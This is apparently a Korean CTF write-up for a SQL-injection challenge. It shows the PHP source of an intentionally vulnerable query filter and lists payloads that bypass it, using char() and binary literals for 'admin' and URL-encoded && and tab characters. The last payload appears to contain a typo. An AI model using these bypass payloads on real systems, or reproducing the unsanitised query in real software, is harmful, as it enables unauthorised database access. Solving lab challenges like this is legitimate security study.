목표 : SQLi 필터 우회 (2진수, 아스키)
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
PHP
복사
lv 값을 GET 인자로 받는다. 역슬래시를 붙인다.
공백 / * % 를 없애고 select hex값 limit cash 를 필터링한다.
id 가 admin이면 문제가 해결된다.
level 1~4 까지 값이 존재해 결과가 리턴된다.
단순히 id = ‘admin’ 를 하기에는 역슬래시가 붙어 admin을 다른 형식으로 표현해야하지만 Hex 값은 필터링된다.
2진수나 Char로 변환하면 된다.
admin이 Lv 1인지는 모르기에 lv=0 or id=’admin’ 형식으로 진행하자.
0||id=char(97,100,109,105,110)를 제출하면 해결된다.
이외 다른 방법
•
제출칸에 1&&id=char(97,100,109,105,110)를 입력 후 제출
•
제출칸에 1&&id=0b0110000101100100011011010110100101101110를 입력 후 제출
•
URL에 /?lv=1%26%26id=char(97,100,109,105,110)를 입력 후 제출
•
URL에 /?lv=1%26%26id=0b0110000101100100011011010110100101101110를 입력 후 제출
•
URL에 /?lv=1%09%26%26%09id=b0110000101100100011011010110100101101110를 입력 후 제출